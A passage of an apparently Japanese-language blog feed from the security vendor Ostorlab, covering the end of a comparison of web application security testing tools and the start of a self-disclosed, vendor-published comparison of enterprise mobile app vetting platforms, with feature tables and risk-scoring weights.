&lt;li&gt;&lt;strong&gt;検出結果とエビデンス&lt;/strong&gt;は、脆弱性を理解し再現するために必要な技術情報を保存します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;修復と修正の検証&lt;/strong&gt;は、検出結果をチケット管理、AI支援型のコード提案、修正後の挙動の検証と結び付けます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;継続的な監視&lt;/strong&gt;は、アプリケーションの変化に伴うリグレッションや再発する脆弱性の特定に役立ちます。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;2026年にWebセキュリティテストを評価する組織にとって、決め手となる問いは次のとおりです。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;そのプラットフォームは、アプリケーションを継続的にテストし、ワークフローがどのように悪用されうるかを調査し、その結果生じる影響を実証し、脆弱性が修正されたことを検証できるか。&lt;/strong&gt;&lt;/p&gt;
&lt;script type="application/ld+json"&gt;
{
"@context": "https://schema.org",
"@graph": [
{
"@type": "TechArticle",
"@id": "https://blog.ostorlab.co/best-web-application-security-testing-tools-2026.html#article",
"url": "https://blog.ostorlab.co/best-web-application-security-testing-tools-2026.html",
"mainEntityOfPage": "https://blog.ostorlab.co/best-web-application-security-testing-tools-2026.html",
"headline": "2026年のおすすめWebアプリケーションセキュリティテストツール：DASTとエージェント型ペンテストの比較",
"description": "Ostorlab、Burp Suite DAST、Invicti、Rapid7 InsightAppSec、HCL AppScan、XBOW、OWASP ZAPなど、2026年の主要なWebアプリケーションセキュリティテストツールを比較します。",
"datePublished": "2026-09-11T10:00:00Z",
"dateModified": "2026-09-11T10:00:00Z",
"inLanguage": "ja",
"author": {
"@type": "Person",
"name": "Abir Jelti"
},
"publisher": {
"@type": "Organization",
"name": "Ostorlab",
"url": "https://ostorlab.co/"
},
"about": [
"Webアプリケーションセキュリティテスト",
"動的アプリケーションセキュリティテスト",
"エージェント型ペネトレーションテスト",
"アプリケーションセキュリティ",
"DevSecOps"
]
},
{
"@type": "ItemList",
"@id": "https://blog.ostorlab.co/best-web-application-security-testing-tools-2026.html#tools",
"name": "2026年に評価したWebアプリケーションセキュリティテストツール",
"description": "Ostorlabが公開したこの比較で評価したツール。掲載順は記事の構成を反映したもので、客観的な市場ランキングではありません。",
"numberOfItems": 7,
"itemListElement": [
{
"@type": "ListItem",
"position": 1,
"name": "Ostorlab",
"url": "https://docs.ostorlab.co/tutorials/web_deep_agentic_scan.html"
},
{
"@type": "ListItem",
"position": 2,
"name": "PortSwigger Burp Suite DAST",
"url": "https://portswigger.net/burp/documentation/dast"
},
{
"@type": "ListItem",
"position": 3,
"name": "Invicti",
"url": "https://www.invicti.com/web-vulnerability-scanner"
},
{
"@type": "ListItem",
"position": 4,
"name": "Rapid7 InsightAppSec",
"url": "https://www.rapid7.com/products/insightappsec/"
},
{
"@type": "ListItem",
"position": 5,
"name": "HCL AppScan",
"url": "https://www.hcl-software.com/appscan"
},
{
"@type": "ListItem",
"position": 6,
"name": "XBOW",
"url": "https://docs.xbow.com/console/get-started/introduction/"
},
{
"@type": "ListItem",
"position": 7,
"name": "OWASP ZAP",
"url": "https://www.zaproxy.org/docs/"
}
]
},
{
"@type": "FAQPage",
"@id": "https://blog.ostorlab.co/best-web-application-security-testing-tools-2026.html#faq",
"mainEntity": [
{
"@type": "Question",
"name": "おすすめのWebアプリケーションセキュリティテストツールは何ですか",
"acceptedAnswer": {
"@type": "Answer",
"text": "この比較で評価したツールは、Ostorlab、Burp Suite DAST、Invicti、Rapid7 InsightAppSec、HCL AppScan、XBOW、OWASP ZAPです。これらは、DASTのカバレッジ、エージェント型の調査、検証、認証、APIテスト、デプロイ、ワークフロー連携の点で異なります。"
}
},
{
"@type": "Question",
"name": "DASTとは何ですか",
"acceptedAnswer": {
"@type": "Answer",
"text": "DASTは、リクエストを送信してそのレスポンスを分析することで、実行中のアプリケーションを外部から評価します。デプロイ済みのWebアプリケーションやAPI全体にわたる、反復可能な脆弱性テストによく使われます。"
}
},
{
"@type": "Question",
"name": "エージェント型ペネトレーションテストとは何ですか",
"acceptedAnswer": {
"@type": "Answer",
"text": "エージェント型ペネトレーションテストは、自律型エージェントを使って、承認されたスコープ内でアプリケーションを観察し、テストアクションを選択し、レスポンスに適応し、攻撃経路を調査し、検出結果を検証します。"
}
},
{
"@type": "Question",
"name": "DASTとエージェント型ペンテストの違いは何ですか",
"acceptedAnswer": {
"@type": "Answer",
"text": "DASTは、定義済みのチェックを到達可能なアプリケーション機能全体に体系的に適用します。エージェント型ペンテストは、アプリケーションの挙動とコンテキストに応じて調査を適応させます。DASTは反復可能な広さを重視し、エージェント型テストは適応的な深さを重視します。"
}
},
{
"@type": "Question",
"name": "エージェント型ペンテストはDASTの代わりになりますか",
"acceptedAnswer": {
"@type": "Answer",
"text": "いいえ。エージェント型ペンテストによって、大規模なアプリケーションポートフォリオ全体に対する定期的なDASTの必要性がなくなるわけではありません。"
}
},
{
"@type": "Question",
"name": "自動テストは手動のペネトレーションテストに取って代わりますか",
"acceptedAnswer": {
"@type": "Answer",
"text": "いいえ。自動テストはスケーラブルで反復可能なカバレッジを提供します。手動テストは、アプリケーション固有のロジック、アーキテクチャ、認可、珍しい攻撃経路に人間の判断を適用します。エージェント型テストはこのギャップの一部を縮める可能性がありますが、人間による監督の必要性をなくすものではありません。"
}
}
]
}
]
}
&lt;/script&gt;</content><category term="Product"/><category term="Web Application Security"/><category term="DAST"/><category term="Agentic Pentesting"/><category term="Application Security Testing"/><category term="Web Security"/><category term="DevSecOps"/></entry><entry><title>2026年のおすすめエンタープライズ向けモバイルアプリベッティングプラットフォーム</title><link href="https://blog.ostorlab.co/ja/best-enterprise-mobile-app-vetting-platforms-2026.html" rel="alternate"/><published>2026-09-10T10:00:00+02:00</published><updated>2026-09-10T10:00:00+02:00</updated><author><name>Abir Jelti</name></author><id>tag:blog.ostorlab.co,2026-09-10:/ja/best-enterprise-mobile-app-vetting-platforms-2026.html</id><summary type="html">&lt;p&gt;Android・iOSアプリのベッティングについて、Ostorlab、NowSecure、Quokka、Zimperium、Appknox、Data Theoremを運用モデル、リスクスコアリング、監視の観点から比較します。&lt;/p&gt;</summary><content type="html">&lt;p&gt;この2026年版の比較で評価するエンタープライズ向けモバイルアプリベッティング（審査・検証）プラットフォームは、&lt;strong&gt;Ostorlab&lt;/strong&gt;、&lt;strong&gt;NowSecure&lt;/strong&gt;、&lt;strong&gt;Quokka (Q-scout)&lt;/strong&gt;、&lt;strong&gt;Zimperium (z3A Advanced App Analysis)&lt;/strong&gt;、&lt;strong&gt;Appknox&lt;/strong&gt;、&lt;strong&gt;Data Theorem (Mobile Secure)&lt;/strong&gt;です。これらのプラットフォームは、AndroidとiOSにまたがるモバイルアプリケーションのセキュリティ、プライバシー、コンプライアンスのリスクを評価しますが、運用モデル、リスクスコアリングの手法、デプロイのアーキテクチャ、そして主な焦点が従業員の端末群のガバナンスにあるのか、リリース前のバイナリテストにあるのかという点で大きく異なります。&lt;/p&gt;
&lt;p&gt;適切なプラットフォームの選択は、自社の運用モデルによって決まります。サードパーティ製ソフトウェアのための自動化されたリスク判定エンジンが必要なのか、モバイルデバイス管理（MDM）の端末群との同期が必要なのか、物理端末での動的な計装が必要なのか、それとも開発者のCI/CDにおけるサプライチェーンのテストが必要なのか、という点です。&lt;/p&gt;
&lt;p&gt;レビューした公開資料の中で、Ostorlabは、文書化された多次元の重み付きスコアリングモデル、ストアでの新しいリリースに続く継続的な自動再評価、そしてチーム横断のレビューを効率化するトークンベースのWebレポートを通じて、モバイルアプリの分析を明確なエンタープライズのリスク判定へと変えている点で際立っています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;編集上の開示&lt;/strong&gt;：この分析はOstorlabが公開しています。技術的な公正性を保つため、すべてのベンダー評価は、現在入手可能なベンダー自身の文書、製品データシート、公開されている製品アーキテクチャに基づいています。&lt;/p&gt;
&lt;h2 id="編集上の開示と調査方法"&gt;編集上の開示と調査方法&lt;/h2&gt;
&lt;p&gt;この比較分析では、2026年時点で公開されている、検証可能なベンダー自身の製品文書、技術仕様、アーキテクチャガイドに基づいて、エンタープライズ向けモバイルアプリケーションのベッティングソリューションを評価しています。&lt;/p&gt;
&lt;p&gt;カテゴリの混同を避けるため、この評価では、生のソースコードを必要とせずにコンパイル済みのアプリケーションパッケージを評価できるソリューションに焦点を当てています。各プラットフォームは、次の主要な技術領域にわたって調査しました。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;プラットフォームのカバレッジ：AndroidとiOSのアプリケーションパッケージへの対応&lt;/li&gt;
&lt;li&gt;取り込みの範囲：公開アプリストアのリリースと、文書化されている場合は社内で開発された非公開バイナリを評価する能力&lt;/li&gt;
&lt;li&gt;セキュリティとプライバシーの分析：脆弱性、過剰な権限、バックグラウンドでのトラッキング、サードパーティのテレメトリ送信先の静的・動的な特定&lt;/li&gt;
&lt;li&gt;サプライチェーンの可視性：組み込まれたソフトウェア開発キット（SDK）の分解と、依存関係のリスクのマッピング&lt;/li&gt;
&lt;li&gt;ポリシー制御とスコアリング：全体的なリスクの算出と、エンタープライズのコンプライアンスルールの適用に用いられる手法&lt;/li&gt;
&lt;li&gt;再評価の頻度：アプリケーションの新しいバージョンを追跡して再評価する能力&lt;/li&gt;
&lt;li&gt;連携とデプロイ：API、チケット管理との接続、エンタープライズモビリティとの連携、ホスティングの選択肢の有無&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;特定の機能が「公開文書なし」と記載されている場合、それは調査期間中に検証可能なベンダー自身の文書にアクセスできなかったことを示します。そのベンダーがその機能を持たないことを証明するものではありません。&lt;/p&gt;
&lt;h2 id="プラットフォームの比較一覧"&gt;プラットフォームの比較一覧&lt;/h2&gt;
&lt;p&gt;次の比較表は、入手可能なベンダー自身の資料に基づき、各プラットフォームの主な運用モデル、文書化された焦点、評価における主な考慮事項をまとめたものです。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;プラットフォーム&lt;/th&gt;
&lt;th style="text-align: left;"&gt;運用モデル&lt;/th&gt;
&lt;th style="text-align: left;"&gt;文書化された焦点&lt;/th&gt;
&lt;th style="text-align: left;"&gt;購入者が確認すべき点&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Ostorlab&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;バイナリ中心のリスク評価&lt;/td&gt;
&lt;td style="text-align: left;"&gt;自動化されたエンタープライズ向けアプリベッティング、重み付きの多次元リスクスコアリング、実行時のDAST&lt;/td&gt;
&lt;td style="text-align: left;"&gt;ポートフォリオの取り込みに関する、具体的なMDM連携コネクターとAPIの処理量の上限。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;NowSecure&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;バイナリ中心のリスク評価&lt;/td&gt;
&lt;td style="text-align: left;"&gt;従業員の端末群と開発者のCI/CDパイプラインにまたがるモバイルアプリのリスク管理&lt;/td&gt;
&lt;td style="text-align: left;"&gt;開発者向けシートとMARIの従業員向けティアの間の商用パッケージ構成、および非公開バイナリ向けの端末キャパシティ。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Quokka (Q-scout)&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;MDMと同期したインベントリ&lt;/td&gt;
&lt;td style="text-align: left;"&gt;MDM/UEMの端末群とのネイティブな同期を備えた、従業員向けのエンタープライズアプリベッティング&lt;/td&gt;
&lt;td style="text-align: left;"&gt;有効なMDM登録の範囲外にある非公開バイナリを直接取り込むワークフロー。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Zimperium (z3A)&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;MDMと同期したインベントリ&lt;/td&gt;
&lt;td style="text-align: left;"&gt;モバイル脅威防御と、エンドポイントにおける従業員のリスクインテリジェンス&lt;/td&gt;
&lt;td style="text-align: left;"&gt;端末上のMTDエージェントを使わずに、調達時のベッティング用として単独でデプロイできるか。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Appknox&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;開発者中心のバイナリMAST&lt;/td&gt;
&lt;td style="text-align: left;"&gt;自動化されたバイナリの脆弱性評価、APIテスト、SBOMの生成&lt;/td&gt;
&lt;td style="text-align: left;"&gt;調達向けの自動化されたポリシーによる合否判定ルールか、開発者主導の手動トリアージか。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Data Theorem (Mobile Secure)&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;開発者中心のバイナリMAST&lt;/td&gt;
&lt;td style="text-align: left;"&gt;継続的なモバイルアプリのアタックサーフェス管理と、実行時のAPI検出&lt;/td&gt;
&lt;td style="text-align: left;"&gt;サードパーティのCOTSに対するリスクのカスタマイズか、自社開発アプリケーションのセキュリティワークフローか。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="機能と評価のマトリクス"&gt;機能と評価のマトリクス&lt;/h3&gt;
&lt;p&gt;より詳細な技術情報を必要とする組織向けに、次のマトリクスでは、各プラットフォームについて文書化されている対応パッケージのソース、分析範囲、再評価の方法を詳しく示します。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;プラットフォーム&lt;/th&gt;
&lt;th style="text-align: left;"&gt;対応OS&lt;/th&gt;
&lt;th style="text-align: left;"&gt;評価対象のアプリのソース&lt;/th&gt;
&lt;th style="text-align: left;"&gt;分析範囲&lt;/th&gt;
&lt;th style="text-align: left;"&gt;ポリシーと再評価&lt;/th&gt;
&lt;th style="text-align: left;"&gt;文書化されたデプロイ形態&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Ostorlab&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;AndroidとiOS&lt;/td&gt;
&lt;td style="text-align: left;"&gt;公開ストアのアプリと非公開バイナリ（APK、AAB、IPA）&lt;/td&gt;
&lt;td style="text-align: left;"&gt;SAST、安全な隔離環境でのDAST、マルウェアの指標、プライバシーに関するテレメトリ&lt;/td&gt;
&lt;td style="text-align: left;"&gt;重み付きスコアリング：マルウェア35%、セキュリティ25%、プライバシー20%、信頼性10%、保守性10%。上流のストアの継続的な追跡&lt;/td&gt;
&lt;td style="text-align: left;"&gt;RESTおよびGraphQL APIを備えたクラウドSaaS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;NowSecure&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;AndroidとiOS&lt;/td&gt;
&lt;td style="text-align: left;"&gt;公開ストアのアプリと非公開のリリース前バイナリ&lt;/td&gt;
&lt;td style="text-align: left;"&gt;SAST、物理端末でのDAST、IAST、APIセキュリティ、振る舞いに基づくプライバシー分析&lt;/td&gt;
&lt;td style="text-align: left;"&gt;OWASP MASVS、NIAP、NISTに対応する設定可能なポリシーエンジン。ストアの継続的な監視とCI/CDトリガー&lt;/td&gt;
&lt;td style="text-align: left;"&gt;クラウドSaaSと専用ハードウェアアプライアンス&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Quokka (Q-scout)&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;AndroidとiOS&lt;/td&gt;
&lt;td style="text-align: left;"&gt;公開ストアのアプリとエンタープライズのMDMインベントリ&lt;/td&gt;
&lt;td style="text-align: left;"&gt;バイナリの静的検査、端末外のサンドボックスでの振る舞い解析、プライバシー監査&lt;/td&gt;
&lt;td style="text-align: left;"&gt;設定可能なエンタープライズのコンプライアンスルール。MDMインベントリの継続的なポーリング&lt;/td&gt;
&lt;td style="text-align: left;"&gt;エージェントレスの端末外分析を備えたクラウドSaaS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Zimperium (z3A)&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;AndroidとiOS&lt;/td&gt;
&lt;td style="text-align: left;"&gt;公開ストアのアプリとエンタープライズのモバイルインベントリ&lt;/td&gt;
&lt;td style="text-align: left;"&gt;静的解析、振る舞いのサンドボックス解析、プライバシーリスクの評価&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応するUEMの条件付きアクセスと連携した、端末群全体のリスクポリシー。エンドポイントの継続的な検出&lt;/td&gt;
&lt;td style="text-align: left;"&gt;統合コンソールを備えたクラウドSaaS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Appknox&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;AndroidとiOS&lt;/td&gt;
&lt;td style="text-align: left;"&gt;アップロードされたバイナリ（APK、AAB、IPA）とストアの監視&lt;/td&gt;
&lt;td style="text-align: left;"&gt;バイナリのSAST、物理端末でのDAST、APIテスト、SBOM&lt;/td&gt;
&lt;td style="text-align: left;"&gt;CVSSの重大度のしきい値。Storeknoxによるストアの継続的な監視&lt;/td&gt;
&lt;td style="text-align: left;"&gt;クラウドSaaS、プライベートクラウド、オンプレミス&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Data Theorem (Mobile Secure)&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;AndroidとiOS&lt;/td&gt;
&lt;td style="text-align: left;"&gt;公開ストアの掲載アプリと本番前のビルド&lt;/td&gt;
&lt;td style="text-align: left;"&gt;SAST、自動化された動的テスト、SCA、API検出、データ持ち出しのチェック&lt;/td&gt;
&lt;td style="text-align: left;"&gt;規制上のトリガーに基づく自動化されたポリシールール。ストアとリポジトリの継続的な再テスト&lt;/td&gt;
&lt;td style="text-align: left;"&gt;クラウドSaaS&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="この比較で何が分かったか"&gt;この比較で何が分かったか&lt;/h2&gt;
&lt;p&gt;この比較評価では、エンタープライズ向けモバイルアプリベッティングが実際にどのように運用されているかを示す、4つの主要な結論が得られました。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;運用モデルは、従業員のエンドポイントのガバナンスと、バイナリの直接評価に分かれる。&lt;/strong&gt;Quokka Q-scoutやZimperium z3Aなどのプラットフォームは、アーキテクチャとしてMDM/UEMの端末群との同期を軸に構築されており、管理対象の従業員の端末にインストールされたアプリケーションを評価します。これに対し、Ostorlab、NowSecure、Appknoxは、アプリがMDMプロファイルに登録されているかどうかにかかわらず、静的な分解と動的な実行を通じてアプリケーションのバイナリを直接評価します。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;リスクスコアリングの手法は、透明性の面で大きく異なる。&lt;/strong&gt;多くのプラットフォームは、クリティカル、高、中、低といった標準的な重大度の評価、またはCVSSスコアによって検出結果を要約します。Ostorlabは、マルウェア、セキュリティ、プライバシー、信頼性、保守性という文書化された5つのカテゴリにわたる、明示的で調整された計算式を提供しています。これにより、エンタープライズにおける承認判断に、透明性のある数理的な根拠が与えられます。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;上流の継続的な監視は、モバイルのガバナンスにおける中核的な要件である。&lt;/strong&gt;公開ストアのモバイルアプリケーションは頻繁にアップデートをリリースするため、ある時点でのセキュリティレビューはすぐに古くなります。継続的な監視を備えたプラットフォームは、公開ストアのリポジトリを自動的に追跡し、ベンダーがアップデートを公開した時点で再評価を開始します。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;関係者間の連携モデルが、修復のスピードを左右する。&lt;/strong&gt;セキュリティチームがサードパーティ製や委託先が開発したソフトウェアをベッティングする際、レビュー担当者に完全なプラットフォームアカウントを発行しなければならないと、技術的な検出結果の共有が管理上の負担を生むことがよくあります。共有可能な読み取り専用のWebレポートは、外部の開発者やソフトウェアプロバイダーとのコミュニケーションを簡素化します。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="エンタープライズ向けモバイルアプリベッティングとは"&gt;エンタープライズ向けモバイルアプリベッティングとは&lt;/h2&gt;
&lt;p&gt;エンタープライズ向けモバイルアプリベッティングとは、iOSとAndroidのアプリケーションパッケージを、エンタープライズの端末へのデプロイ前およびデプロイ中に、組織のセキュリティ、プライバシー、コンプライアンスの基準に照らして体系的に評価することです。&lt;/p&gt;
&lt;p&gt;アプリベッティングは、商用SaaSのクライアント、委託先のツール、従業員から要望のあったユーティリティなど、組織が社内で開発していないソフトウェアを、ソースコードへのアクセスを必要とせずに評価します。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;分野&lt;/th&gt;
&lt;th style="text-align: left;"&gt;主な対象&lt;/th&gt;
&lt;th style="text-align: left;"&gt;中核的な運用目標&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;エンタープライズ向けアプリベッティング&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;コンパイル済みバイナリとしてのサードパーティ製アプリや従業員向けアプリ&lt;/td&gt;
&lt;td style="text-align: left;"&gt;プライバシー、マルウェア、セキュリティのリスクに基づいてソフトウェアを承認または却下する&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;モバイルアプリケーションセキュリティテスト（MAST）&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;社内で開発された自社アプリケーション&lt;/td&gt;
&lt;td style="text-align: left;"&gt;稼働中のCI/CDパイプラインの中で、コードの脆弱性を特定して修復する&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;モバイル脅威防御（MTD）&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;モバイル端末と実行時のOS環境&lt;/td&gt;
&lt;td style="text-align: left;"&gt;端末上のエクスプロイト、ネットワーク攻撃、フィッシングを実行時に阻止する&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;アプリ内保護/シールディング&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;アプリケーションバイナリの堅牢化&lt;/td&gt;
&lt;td style="text-align: left;"&gt;コードを難読化し、改ざんやリバースエンジニアリングを防ぐ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;ペネトレーションテスト&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;範囲を定めたアプリケーションとAPIのアーキテクチャ&lt;/td&gt;
&lt;td style="text-align: left;"&gt;複雑なビジネスロジックの欠陥や多段階のエクスプロイトを人間主導で調査する&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;アプリベッティングは、エンタープライズセキュリティにおいて独自の層を担います。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;MDM/UEM&lt;/strong&gt;は端末の構成を管理し、ソフトウェアを配布しますが、バイナリコードの分析や、組み込まれたSDKの振る舞いの検査は行いません。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MTD&lt;/strong&gt;は、実行時の侵害が起きていないかを端末で監視しますが、調達前のソフトウェアに対して、詳細な静的分解やプライバシーに関するテレメトリの監査を行うようには設計されていません。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;アプリベッティング&lt;/strong&gt;はアプリケーションパッケージを直接分析し、コードの衛生状態、データの送信先、コンプライアンスの状況を評価して、十分な情報に基づく承認判断を支援します。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="エンタープライズが評価すべき点"&gt;エンタープライズが評価すべき点&lt;/h2&gt;
&lt;p&gt;モバイルアプリベッティングプラットフォームを評価する際、セキュリティとリスクの責任者は、次の8つの主要な機能に注目すべきです。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;ソースの柔軟性&lt;/strong&gt;：Google PlayやApple App Storeなどの公開ストアから、URLやパッケージ識別子でアプリケーションを取り込めること。また、文書化されている場合は、独自ツール向けにAPK、AAB、IPAファイルなどのバイナリの直接アップロードを受け付けられること。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;実行時の動的な実行&lt;/strong&gt;：計装された環境でバイナリを実行し、暗号化されていないネットワーク通信、機密性の高いAPIへのアクセス、動的に読み込まれるコードを観察すること。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;SDKと依存関係の分解&lt;/strong&gt;：コンパイル済みバイナリに組み込まれたサードパーティのライブラリ、トラッキングフレームワーク、分析SDKを特定すること。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;プライバシーとテレメトリの追跡&lt;/strong&gt;：ハードウェア識別子、端末の位置情報、機密性の高いデバイス権限など、外部のエンドポイントに送信されるデータを監視すること。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;設定可能なポリシーの適用&lt;/strong&gt;：組織のリスク許容度と規制要件に沿った、独自の合否基準を定義すること。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;上流の継続的な追跡&lt;/strong&gt;：公開アプリストアでリリースされた新しいバージョンを自動的に検出し、自動化された再評価を開始すること。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;関係者が対応できるレポート&lt;/strong&gt;：外部のベンダーや開発者が対応できる、ネットワーク通信のログやファイルパスなどの明確なエビデンスを生成すること。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;エンタープライズのエコシステムとの連携&lt;/strong&gt;：RESTおよびGraphQL API、Jiraなどのチケット管理ツール、Slackなどのコミュニケーションプラットフォーム、エンタープライズモビリティのシステムを通じて、エンタープライズのワークフローと接続すること。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="ベンダー別の詳細評価"&gt;ベンダー別の詳細評価&lt;/h2&gt;
&lt;h3 id="ostorlab"&gt;Ostorlab&lt;/h3&gt;
&lt;p&gt;Ostorlabは、公開アプリストアのリリースと本番前のバイナリパッケージにまたがってAndroidとiOSのアプリケーションを評価するよう設計された、自動化されたモバイルアプリケーションのリスク評価およびベッティングのプラットフォームを提供しています。&lt;/p&gt;
&lt;p&gt;Ostorlabの&lt;a href="https://ostorlab.co/product/app_vetting" rel="noopener noreferrer" target="_blank"&gt;App Vettingのドキュメント&lt;/a&gt;によると、このプラットフォームは静的解析、動的テスト、安全な隔離環境でのサンドボックス実行を組み合わせ、ソースコードへのアクセスを必要とせずにアプリケーションパッケージを評価します。アプリケーションは、割合による重み付けが文書化された、明示的な5つの次元にわたって分析されます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;マルウェアの指標（35%）&lt;/strong&gt;：組み込まれた悪意のあるロジック、既知のトロイの木馬の指標、ランサムウェアのパターン、回避的なコードの検知&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;セキュリティ上の脆弱性（25%）&lt;/strong&gt;：暗号の実装、安全でないデータストレージ、平文の通信プロトコル、OWASP MASVSのガイドラインへの準拠状況の評価&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;プライバシーとデータアクセス（20%）&lt;/strong&gt;：実行時のテレメトリ、バックグラウンドのネットワークリクエスト、トラッキングライブラリ、機密性の高い権限の利用状況の分解&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;パブリッシャーの信頼性（10%）&lt;/strong&gt;：開発者の実績、配布元、コード署名の有効性、ドメインの評判の評価&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;保守性（10%）&lt;/strong&gt;：フレームワークの最新性、依存関係の古さ、パッチ適用の速さの分析&lt;/li&gt;
&lt;/ul&gt;
